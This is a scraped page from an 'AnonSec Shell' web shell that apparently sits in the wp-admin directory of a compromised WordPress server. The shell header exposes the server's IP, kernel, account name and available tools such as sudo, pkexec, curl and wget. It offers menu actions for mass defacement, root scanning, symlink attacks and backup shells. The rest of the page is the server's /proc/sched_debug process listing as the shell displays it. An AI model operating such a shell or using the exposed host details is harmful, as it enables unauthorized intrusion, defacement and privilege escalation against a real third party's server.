. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 51.222.206.218  /  Your IP : 3.135.214.100   [ Reverse IP ]
Web Server : Apache
System : Linux srv3.mexxus.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : ottavioc ( 1004)
PHP Version : 8.1.32
Disable Function : exec,passthru,shell_exec,system
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ottavioc/www/wp-admin/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/ottavioc/www/wp-admin/anon_sym/anon/proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-553.8.1.el8_10.x86_64 #1
ktime                                   : 20675935360.903948
sched_clk                               : 20673037124.966589
cpu_clk                                 : 20673036651.583510
jiffies                                 : 24970602657
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2295.688 MHz
  .nr_running                    : 0
  .nr_switches                   : 3653069705
  .nr_uninterruptible            : -9103
  .next_balance                  : 24970.602635
  .curr->pid                     : 0
  .clock                         : 20673036637.586338
  .clock_task                    : 20671614106.300687
  .avg_idle                      : 966923
  .max_idle_balance_cost         : 5000000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 23060069.508113
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1164698961.034483
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 48
  .runnable_avg                  : 48
  .util_avg                      : 40
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 48
  .tg_load_avg                   : 299
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 20671614106.300687
  .se->vruntime                  : 1187759030.542596
  .se->sum_exec_runtime          : 15013309.248521
  .se->load.weight               : 402653
  .se->avg.load_avg              : 16
  .se->avg.util_avg              : 40
  .se->avg.runnable_avg          : 48

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1187759030.542596
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 572
  .runnable_avg                  : 54
  .util_avg                      : 46
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S        kthreadd     2 1187754207.316113    266723   120         0.000000      7765.717819         0.000000 0 0 /
 I      rcu_par_gp     4       111.346861         2   100         0.000000         0.002945         0.000000 0 0 /
 I    slub_flushwq     5       113.348062         2   100         0.000000         0.002685         0.000000 0 0 /
 I    kworker/0:0H     7       359.807816         4   100         0.000000         0.029116         0.000000 0 0 /
 I    mm_percpu_wq    10 1121757846.430764        50   100         0.000000         0.454926         0.000000 0 0 /
 S rcu_tasks_rude_    11       122.105292         2   120         0.000000         0.002494         0.000000 0 0 /
 S rcu_tasks_trace    12       124.106664         2   120         0.000000         0.002585         0.000000 0 0 /
 S     ksoftirqd/0    13 1187759013.887894   9750424   120         0.000000    380937.368088         0.000000 0 0 /
 S     migration/0    15         0.000000    229069     0         0.000000      3115.648226         0.000000 0 0 /
 S      watchdog/0    16         0.000000   5168986     0         0.000000     58890.574101         0.000000 0 0 /
 S         cpuhp/0    17      3343.337555        18   120         0.000000         1.419133         0.000000 0 0 /
 S      oom_reaper    44       234.513061         2   120         0.000000         0.000000         0.000000 0 0 /
 I    kworker/0:1H    59 1187759021.168557  27920847   100         0.000000    306001.867030         0.000000 0 0 /
 S         kswapd0    79 1187440780.876235    269910   120         0.000000   1162283.532029         0.000000 0 0 /
 I           kstrp   148      1380.571099         2   100         0.000000         0.024125         0.000000 0 0 /
 I          rpciod   347      1834.948231         2   100         0.000000         0.027112         0.000000 0 0 /
 I         ata_sff   475      2043.748205         2   100         0.000000         0.011171         0.000000 0 0 /
 I xfs-blockgc/sda   663      2874.066536         2   100         0.000000         0.013124         0.000000 0 0 /
 S          auditd   696  23060049.938497    248913   116         0.000000      6165.112807         0.000000 0 0 /system.slice
 S     dbus-daemon   785  23060062.838261  18391513   120         0.000000   2489836.476153         0.000000 0 0 /system.slice
 S           loop0   876 1187754945.603771   2430589   100         0.000000     58467.388369         0.000000 0 0 /
 I  ib-comp-unb-wq 19953   2777865.693711         2   100         0.000000         0.012643         0.000000 0 0 /
 S            nscd 1423494  23060050.170808    191384   120         0.000000      6276.464750         0.000000 0 0 /system.slice
 S            nscd 1423501  23059567.622115     20757   120         0.000000      1426.196638         0.000000 0 0 /system.slice
 S            nscd 1423502  23060049.974160     21583   120         0.000000      1504.930662         0.000000 0 0 /system.slice
 S            nscd 1423503  23060036.802674     21223   120         0.000000      1475.893550         0.000000 0 0 /system.slice
 S            nscd 1445218  23059567.185047     19778   120         0.000000      1398.030753         0.000000 0 0 /system.slice
 S            nscd 1445219  23060049.960544     19398   120         0.000000      1355.995552         0.000000 0 0 /system.slice
 S            nscd 1445220  23060037.548793     19704   120         0.000000      1391.921337         0.000000 0 0 /system.slice
 S           gmain 1424204       -10.048576         1   120         0.000000         0.026349         0.000000 0 0 /system.slice
 S       pure-ftpd 1424224  22996226.787252      3534   120         0.000000       454.182516         0.000000 0 0 /system.slice
 S          agetty 1424544       -10.048576        23   120         0.000000       188.805510         0.000000 0 0 /system.slice
 S   rs:main Q:Reg 1424568  23060060.576953    159536   120         0.000000      8413.037312         0.000000 0 0 /system.slice
 S          agetty 1424662       -10.048576         7   120         0.000000         5.273174         0.000000 0 0 /system.slice
 S  systemd-logind 1424727  23060061.443397    277886   120         0.000000     26532.708821         0.000000 0 0 /system.slice
 S          mysqld 1425258  23060060.584678   1123721   120         0.000000     24486.745013         0.000000 0 0 /system.slice
 S          mysqld 1425263  23060060.878877   2282566   120         0.000000     34453.680158         0.000000 0 0 /system.slice
 S          mysqld 1425264  23060062.367795   2286814   120         0.000000     34528.560450         0.000000 0 0 /system.slice
 S          mysqld 1425280  23057480.546716     37342   120         0.000000       934.430821         0.000000 0 0 /system.slice
 S          mysqld 1425289  23060060.965442   5594691   120         0.000000    156993.760986         0.000000 0 0 /system.slice
 S          mysqld 1425290  23060060.680314   2956173   120         0.000000     47939.585233         0.000000 0 0 /system.slice
 S          mysqld 1425291  23060060.528972   1115406   120         0.000000      9938.328594         0.000000 0 0 /system.slice
 S          mysqld 1425292  23060060.527879   1190083   120         0.000000     10205.812656         0.000000 0 0 /system.slice
 S          mysqld 1425293  23060060.535174   1299775   120         0.000000     11441.047577         0.000000 0 0 /system.slice
 S          mysqld 1425295       -10.048576         2   120         0.000000         0.118131         0.000000 0 0 /system.slice
 S           gmain 1612845       -10.048576         2   120         0.000000         0.031981         0.000000 0 0 /system.slice
 S       JS Helper 1612848       -10.048576         2   120         0.000000         0.083978         0.000000 0 0 /system.slice
 S         polkitd 1612851       -10.048576         5   120         0.000000         0.090248         0.000000 0 0 /system.slice
 S      run-script 1612873  23060061.211170    397573   120         0.000000    119000.950792         0.000000 0 0 /system.slice
 S           tuned 1613082       -10.048576         3   120         0.000000         0.762159         0.000000 0 0 /system.slice
 S      imap-login 1645227  23048098.353143    145561   120         0.000000     31985.822268         0.000000 0 0 /system.slice
 S              15 1887869  11541883.146322         1   120         0.000000         0.162855         0.000000 0 0 /system.slice
 S         defunct 1888601  23060060.566331    135902   120         0.000000      4282.681106         0.000000 0 0 /system.slice
 S           httpd 2036266  23060052.269012       443   120         0.000000      1163.846153         0.000000 0 0 /system.slice
 I     kworker/0:0 2036533 1187754217.591647      5372   120         0.000000        66.032516         0.000000 0 0 /
 S            imap 2037275  23057457.375991        39   120         0.000000        12.064771         0.000000 0 0 /system.slice
 I     kworker/0:2 2037358 1187754217.303197        16   120         0.000000         0.136405         0.000000 0 0 /
 S           httpd 2037991  23060069.508113       193   120         0.000000      1291.881446         0.000000 0 0 /system.slice
 S           httpd 2037992  23060051.048113        85   120         0.000000       248.006607         0.000000 0 0 /system.slice
 I     kworker/0:1 2038045 1187754217.532628        68   120         0.000000         1.406659         0.000000 0 0 /
 I     kworker/0:3 2038063 1187754217.296904         3   120         0.000000         0.011500         0.000000 0 0 /
 I     kworker/0:4 2038066 1187759015.786904       188   120         0.000000         3.007472         0.000000 0 0 /
 S           httpd 2038080  23057446.649980         4   120         0.000000         2.669775         0.000000 0 0 /system.slice
 S           crond 2038093  23060046.560655         2   120         0.000000         1.127845         0.000000 0 0 /system.slice
 S           sleep 2038097  23060058.912634         1   120         0.000000         2.385812         0.000000 0 0 /system.slice

cpu#1, 2295.688 MHz
  .nr_running                    : 1
  .nr_switches                   : 5345681161
  .nr_uninterruptible            : 1226
  .next_balance                  : 24970.602754
  .curr->pid                     : 2038085
  .clock                         : 20673036651.688848
  .clock_task                    : 20670759999.736320
  .avg_idle                      : 7681867
  .max_idle_balance_cost         : 5000000

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 23924749.545949
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1163834280.996647
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 166
  .runnable_avg                  : 166
  .util_avg                      : 166
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 166
  .tg_load_avg                   : 299
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 20670759999.736320
  .se->vruntime                  : 1028199052.784453
  .se->sum_exec_runtime          : 15482634.564038
  .se->load.weight               : 928039
  .se->avg.load_avg              : 147
  .se->avg.util_avg              : 166
  .se->avg.runnable_avg          : 166

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1028199052.784453
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -159559977.758143
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 928039
  .load_avg                      : 147
  .runnable_avg                  : 166
  .util_avg                      : 166
  .util_est_enqueued             : 66
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         cpuhp/1    18      2275.084556        17   120         0.000000         0.296377         0.000000 0 0 /
 S      watchdog/1    19        -3.000000   5168986     0         0.000000     62081.953262         0.000000 0 0 /
 S     migration/1    20         0.000000    230537     0         0.000000      3130.350939         0.000000 0 0 /
 S     ksoftirqd/1    21 1028199040.529886   8171898   120         0.000000    346970.250690         0.000000 0 0 /
 I    kworker/1:0H    23       446.508634         4   100         0.000000         0.020467         0.000000 0 0 /
 I           netns    41        35.861033         2   100         0.000000         0.005410         0.000000 0 0 /
 I       writeback    45        44.861028         2   100         0.000000         0.000000         0.000000 0 0 /
 S      kcompactd0    46 1027907771.769575     57514   120         0.000000     20024.145528         0.000000 0 0 /
 I          crypto    49        44.861028         2   100         0.000000         0.000000         0.000000 0 0 /
 I         kblockd    51        44.861028         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    52        44.861028         2   100         0.000000         0.000000         0.000000 0 0 /
 I              md    54        44.866258         2   100         0.000000         0.005230         0.000000 0 0 /
 I       md_bitmap    55        53.866253         2   100         0.000000         0.000000         0.000000 0 0 /
 I        kthrotld   141       203.154384         2   100         0.000000         0.016422         0.000000 0 0 /
 I          kaluad   144       212.174247         2   100         0.000000         0.021611         0.000000 0 0 /
 I   ipv6_addrconf   146       214.456364         2   100         0.000000         0.034276         0.000000 0 0 /
 I    kworker/1:1H   236 1028196553.454407  36281064   100         0.000000    392484.083584         0.000000 0 0 /
 I         xprtiod   348       920.748597         2   100         0.000000         0.032120         0.000000 0 0 /
 I        xfsalloc   502      1281.190681         2   100         0.000000         0.059802         0.000000 0 0 /
 I    xfs-cil/sda4   506 866811952.481295         6   100         0.000000         0.153518         0.000000 0 0 /
 I    xfs-log/sda4   509      1299.206354         2   100         0.000000         0.009017         0.000000 0 0 /
 I    xfs-log/sda3   664      1949.826171         2   100         0.000000         0.020169         0.000000 0 0 /
 S          hwmon0   757 982157393.933070        38   120         0.000000         0.583736         0.000000 0 0 /
 S    jbd2/loop0-8   881 1028195668.054301    636731   120         0.000000     17835.539503         0.000000 0 0 /
 S cpsrvd (SSL) -  19940  23922554.409063   1108543   120         0.000000   1252547.501338         0.000000 0 0 /system.slice
 S dnsadmin - dorm 20060  23923810.480212   2131767   120         0.000000    395784.679162         0.000000 0 0 /system.slice
 S         defunct 797388  23924730.068316   1220130   120         0.000000     37782.492748         0.000000 0 0 /system.slice
 S queueprocd - wa 1336558  23922136.267178     15232   120         0.000000     13475.993340         0.000000 0 0 /system.slice
 S            nscd 1423495  23922577.038090     14715   120         0.000000      1583.425949         0.000000 0 0 /system.slice
 S            nscd 1423498  23267543.771587       150   120         0.000000        14.769616         0.000000 0 0 /system.slice
 S            nscd 1445215  23923810.398208     19524   120         0.000000      1382.778398         0.000000 0 0 /system.slice
 S             atd 1424706  23550065.591383       167   120         0.000000        14.121247         0.000000 0 0 /system.slice
 S          smartd 1425148  23873694.331611       332   120         0.000000        69.336990         0.000000 0 0 /system.slice
 S        gssproxy 1425171  23922219.021809      9370   120         0.000000       217.910591         0.000000 0 0 /system.slice
 S          mysqld 1425260  23924731.299574   1123490   120         0.000000     24636.668223         0.000000 0 0 /system.slice
 S          mysqld 1425266  23924569.877548    714482   120         0.000000     19641.902042         0.000000 0 0 /system.slice
 S          mysqld 1425279  23924721.740454    560052   120         0.000000     13847.296286         0.000000 0 0 /system.slice
 S          mysqld 1425284  23923810.353154    112022   120         0.000000      2852.669586         0.000000 0 0 /system.slice
 S          mysqld 1425288       -10.048576         2   120         0.000000         2.059902         0.000000 0 0 /system.slice
 S          mysqld 1425294       -10.048576         4   120         0.000000         0.158398         0.000000 0 0 /system.slice
 S          mysqld 1425296       -10.048576         1   120         0.000000         0.231454         0.000000 0 0 /system.slice
 S          mysqld 1426572  23923776.032155   2048706   120         0.000000    503287.679790         0.000000 0 0 /system.slice
 S          mysqld 1434363  23924716.212501   1937484   120         0.000000    475647.092620         0.000000 0 0 /system.slice
 S           tuned 1613081       -10.048576         1   120         0.000000         0.120735         0.000000 0 0 /system.slice
 S      run-script 1613219  23924731.419088      7242   120         0.000000      2992.532927         0.000000 0 0 /system.slice
 S           stats 1645232  23922571.855524    123842   120         0.000000      3646.930253         0.000000 0 0 /system.slice
 S pdns/ctrlListen 1645338       -10.048576        17   120         0.000000         0.667027         0.000000 0 0 /system.slice
 S  pdns/webserver 1645339  19788758.948862        50   120         0.000000         1.820111         0.000000 0 0 /system.slice
 S   pdns/receiver 1645342  23792092.640203       517   120         0.000000        96.432724         0.000000 0 0 /system.slice
 S pdns/carbonDump 1645343  23924731.327066    357911   120         0.000000     12306.086059         0.000000 0 0 /system.slice
 S    leechprotect 1655330    162296.739644        10   120         0.000000        66.854400         0.000000 0 0 /system.slice
 S               3 1888414  14386547.671103         1   120         0.000000         0.127459         0.000000 0 0 /system.slice
 S  imap-hibernate 1907189  23922572.083400      1357   120         0.000000       124.544397         0.000000 0 0 /system.slice
 S  lfd - sleeping 1988205  23923812.044895     11060   120         0.000000      9000.990246         0.000000 0 0 /system.slice
 I     kworker/1:2 2035964 1028199040.531911      2930   120         0.000000        34.285228         0.000000 0 0 /
 S           httpd 2036609  23922226.310632       734   120         0.000000      2318.785688         0.000000 0 0 /system.slice
 S           httpd 2037023  23922585.866252       588   120         0.000000      3073.793374         0.000000 0 0 /system.slice
 S           httpd 2037308  23922229.662119       255   120         0.000000       780.040964         0.000000 0 0 /system.slice
 I     kworker/1:0 2037563 1028045026.069687         7   120         0.000000         0.202501         0.000000 0 0 /
 I     kworker/1:1 2037565 1028194916.228510        27   120         0.000000         0.260517         0.000000 0 0 /
 S           httpd 2037604  23923810.345339       175   120         0.000000       234.738424         0.000000 0 0 /system.slice
 S            auth 2038029  23922552.687888         9   120         0.000000         5.383715         0.000000 0 0 /system.slice
>R         php-fpm 2038085  23924749.545949       541   120         0.000000      3236.266450         0.000000 0 0 /system.slice
 S        (sd-pam) 2038108   2060379.743027         1   120         0.000000         0.209112         0.000000 0 0 /user.slice

cpu#2, 2295.688 MHz
  .nr_running                    : 0
  .nr_switches                   : 5612984863
  .nr_uninterruptible            : 439
  .next_balance                  : 24970.602634
  .curr->pid                     : 0
  .clock                         : 20673036651.727149
  .clock_task                    : 20671068951.388659
  .avg_idle                      : 2841604
  .max_idle_balance_cost         : 5000000

cfs_rq[2]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 15948736.693557
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1171810293.849039
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 64
  .runnable_avg                  : 64
  .util_avg                      : 43
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 64
  .tg_load_avg                   : 299
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 20671068936.091230
  .se->vruntime                  : 818237020.201453
  .se->sum_exec_runtime          : 10702153.060065
  .se->load.weight               : 559240
  .se->avg.load_avg              : 25
  .se->avg.util_avg              : 43
  .se->avg.runnable_avg          : 65

cfs_rq[2]:/init.scope
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 77588.509614
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1187681442.032982
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_avg                  : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 20671068480.445124
  .se->vruntime                  : 818237007.954436
  .se->sum_exec_runtime          : 60137.746659
  .se->load.weight               : 1048576
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_avg          : 0

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 818237020.201453
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -369522010.341143
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 572
  .runnable_avg                  : 56
  .util_avg                      : 40
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[2]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
